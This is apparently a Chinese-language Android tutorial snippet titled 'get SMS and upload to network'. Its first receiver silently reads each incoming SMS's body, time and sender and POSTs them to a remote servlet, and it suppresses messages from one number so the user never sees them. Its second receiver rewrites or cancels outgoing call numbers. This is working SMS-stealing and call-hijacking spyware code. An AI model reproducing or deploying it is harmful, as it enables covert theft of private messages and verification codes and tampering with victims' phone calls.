获取短信并上传网络，

public class SMSBroadcastReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
for(Object p : pdus){
byte[] pdu = (byte[]) p;
SmsMessage message = SmsMessage.createFromPdu(pdu);
String content = message.getMessageBody();
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String receiveTime = format.format(date);
String senderNumber = message.getOriginatingAddress();
sendSMS(content, receiveTime, senderNumber);

if("5556".equals(senderNumber)){
abortBroadcast();//终止广播
}
}
}

private boolean sendSMS(String content, String receiveTime, String senderNumber) {
try{
String params = "content="+ URLEncoder.encode(content, "UTF-8")+
"&receivetime="+ receiveTime+ "&sendernumber="+ senderNumber;
byte[] entity = params.getBytes();
String path = "http://192.168.1.100:8080/web/ReceiveSMSServlet";
HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();
conn.setConnectTimeout(5000);
conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.setRequestProperty("Content-Length", String.valueOf(entity.length));
conn.getOutputStream().write(entity);
if(conn.getResponseCode() == 200){
return true;
}
}catch (Exception e) {
e.printStackTrace();
}
return false;
}
}

广播接收者有优先级，拨号属于有序广播，即使拦截依然会传给拨号器，所以可以将电话号码设置为空





 因为系统拨号指定了接受者，故广播一定可以传达，abortBoardcast()，没用

public class PhoneBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String number = getResultData();
if("5556".equals(number)){
setResultData(null);   终止广播没用，因为是有序广播
}else{
number = "12593"+ number;
setResultData(number);
}
}
}
